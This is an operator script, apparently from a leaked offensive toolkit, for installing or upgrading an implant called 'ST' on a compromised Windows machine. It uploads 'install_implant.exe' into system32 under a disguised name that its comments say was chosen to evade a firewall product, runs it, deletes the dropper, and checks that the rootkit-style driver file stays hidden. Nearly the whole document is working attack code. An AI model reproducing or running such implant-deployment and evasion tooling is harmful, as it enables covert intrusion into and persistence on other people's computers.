212 lines
No EOL
5.5 KiB
PostScript
212 lines
No EOL
5.5 KiB
PostScript
#08/22/2002 Simple script to upgrade ST 1.2 to ST 1.4 ...
|
|
#09/04/2002 changed spcss32.exe to spcss32.ex_ to evade Blackice 3.5
|
|
#01/13/2003 Modified to make it more like the PC install script..
|
|
#05/30/2003 Modified to do checksum instead of prompting user to compare file sizes
|
|
|
|
@echo off;
|
|
@record on;
|
|
string $ScriptsDir;
|
|
if(`getdirectory -scripts`) {
|
|
string $Dir = GetCmdData("dir");
|
|
$ScriptsDir = $Dir[0];
|
|
}else{
|
|
$ScriptsDir="E:\\resources\\ep\\scripts";
|
|
}
|
|
@record off;
|
|
@echo on;
|
|
|
|
# old name of existing ST, if any
|
|
string $names;
|
|
# name of ST executable to upload
|
|
string $local;
|
|
# name of file to upload and run as
|
|
string $files;
|
|
|
|
string $localpath="$ScriptsDir\\..\\..\\..\\exploits\\st 1.4";
|
|
|
|
$names[0]="mstcp32.sys";
|
|
$files[0]="spcss32.ex_";
|
|
$local[0]="install_implant.exe";
|
|
|
|
$names[1]="mstcp64.sys";
|
|
$files[1]="spcss64.ex_";
|
|
$local[1]="install_implant_64.exe";
|
|
|
|
bool $install = false;
|
|
bool $badParams = false;
|
|
string $systemroot;
|
|
if ($argc == 1) {
|
|
$badParams = true;
|
|
} else if ($argc > 3) {
|
|
$badParams = true;
|
|
} else {
|
|
if ($argv[1] == "INSTALL") {
|
|
$install = true;
|
|
} else if ($argv[1] == "UPGRADE") {
|
|
$install = false;
|
|
} else {
|
|
# unknown level4 type
|
|
echo "\r\n***Invalid task -- must be INSTALL or UPGRADE***\r\n";
|
|
$badParams = true;
|
|
}
|
|
|
|
if ($argc >= 3) {
|
|
$systemroot=$argv[2];
|
|
} else {
|
|
### Get system path
|
|
@echo off;
|
|
@record on;
|
|
ifnot(`lpgetenv -option systemroot`) {
|
|
`script syspath.eps`;
|
|
ifnot(`lpgetenv -option systemroot`) {
|
|
echo "Could not get system root. Exiting.";
|
|
return false;
|
|
} else {
|
|
$systemroot=GetCmdData("value");
|
|
}
|
|
} else {
|
|
$systemroot=GetCmdData("value");
|
|
}
|
|
@echo on;
|
|
@record off;
|
|
}
|
|
|
|
|
|
}
|
|
|
|
if ($badParams) {
|
|
echo "Usage: $argv[0] <INSTALL | UPGRADE> [<system path>]";
|
|
echo " Performs an install/upgrade of ST";
|
|
echo " If system path is not specified, it will try to find it";
|
|
echo "";
|
|
|
|
return false;
|
|
}
|
|
|
|
|
|
string $oldname="";
|
|
string $newname="";
|
|
string $localname="";
|
|
string $installname="";
|
|
|
|
|
|
|
|
int $name=0;
|
|
if ($install) {
|
|
$newname=$files[$name];
|
|
$localname=$local[$name];
|
|
$installname=$names[$name];
|
|
} else {
|
|
echo "Checking for existing installations:";
|
|
while ($name < sizeof($names)) {
|
|
if ($newname == "") {
|
|
@echo off;
|
|
ifnot(`dir "$names[$name]" -path "$systemroot\\system32\\drivers"`) {
|
|
if (`mkdir "$systemroot\\system32\\drivers\\$names[$name]"`) {
|
|
# you can make the directory; delete it and mark as unused (so new) value
|
|
ifnot(`rmdir "$systemroot\\system32\\drivers\\$names[$name]"`) {
|
|
echo "ERROR! Could not delete directory $systemroot\\system32\\drivers\\$names[$name]";
|
|
pause;
|
|
}
|
|
$newname=$files[$name];
|
|
$localname=$local[$name];
|
|
$installname=$names[$name];
|
|
} else {
|
|
# found an existing ST installation; continue to the next possibility
|
|
echo "Found existing ST installation: $systemroot\\system32\\drivers\\$names[$name]";
|
|
$oldname=$names[$name];
|
|
}
|
|
}
|
|
@echo on;
|
|
}
|
|
$name++;
|
|
}
|
|
}
|
|
|
|
if ($newname == "") {
|
|
echo "!!! Could not find a valid installation name.";
|
|
return false;
|
|
}
|
|
|
|
#ifnot($oldname == "") {
|
|
# echo "Found existing ST installation: $oldname";
|
|
# pause;
|
|
#}
|
|
|
|
echo "Installing ST $localpath\\$localname as $systemroot\\system32\\$newname";
|
|
|
|
if (`dir "$newname" -path "$systemroot\\system32"`) {
|
|
echo "There is already a $newname file in system32. Are you sure you want to continue?";
|
|
pause;
|
|
}
|
|
|
|
ifnot (`put "$localpath\\$localname" -name "$systemroot\\system32\\$newname"`)
|
|
{ echo "put of file failed";
|
|
return false;
|
|
}
|
|
|
|
#echo "";
|
|
#echo "The put has finished.";
|
|
#echo "Make sure the whole file made it..should be 167,936 bytes";
|
|
#echo "";
|
|
#prompt `dir $newname -path $systemroot\\system32`;
|
|
|
|
# Compare checksums
|
|
ifnot (`script checksum.eps "$localname" "$localpath" "$newname" "$systemroot\\system32"`) {
|
|
`del "$newname" -path "$systemroot\\system32"`;
|
|
return false;
|
|
}
|
|
|
|
echo "";
|
|
echo "Run the installer.";
|
|
echo "";
|
|
prompt `run -command $systemroot\\system32\\$newname`;
|
|
|
|
echo "";
|
|
echo "Make sure the process is done";
|
|
echo "";
|
|
prompt `processlist`;
|
|
|
|
echo "Wait until the process is done to continue.";
|
|
pause;
|
|
|
|
bool $success=true;
|
|
|
|
echo "Finishing up/checking installation...";
|
|
echo "Deleting the installer...";
|
|
ifnot (`del "$newname" -path "$systemroot\\system32"`) {
|
|
echo "ERROR! Could not delete $systemroot\\system32\\$newname !!";
|
|
pause;
|
|
} else {
|
|
echo "Making sure it's gone...";
|
|
if (`dir "$newname" -path "$systemroot\\system32"`) {
|
|
echo "ERROR! $systemroot\\system32\\$newname still exists !!";
|
|
pause;
|
|
}
|
|
}
|
|
|
|
# TODO: check registry to confirm install
|
|
|
|
# try creating temporary directory; in order to make sure install worked
|
|
echo "Checking installation by creating directory...";
|
|
if (`dir "$installname" -path "$systemroot\\system32\\drivers"`) {
|
|
echo "ERROR! $systemroot\\system32\\drivers\\$installname is visible!!";
|
|
pause;
|
|
} else {
|
|
if (`mkdir "$systemroot\\system32\\drivers\\$installname"`) {
|
|
echo "ERROR! Made directory $systemroot\\system32\\drivers\\$installname !!";
|
|
$success=false;
|
|
# you can make the directory! Installation failed!
|
|
ifnot(`rmdir "$systemroot\\system32\\drivers\\$installname"`) {
|
|
echo "ERROR! Could not delete directory $systemroot\\system32\\drivers\\$installname";
|
|
pause;
|
|
}
|
|
pause;
|
|
} else {
|
|
echo "All seems to be in order.";
|
|
}
|
|
}
|
|
|
|
echo "";
|
|
echo "You may still want to test the connection to this box.";
|
|
return $success; |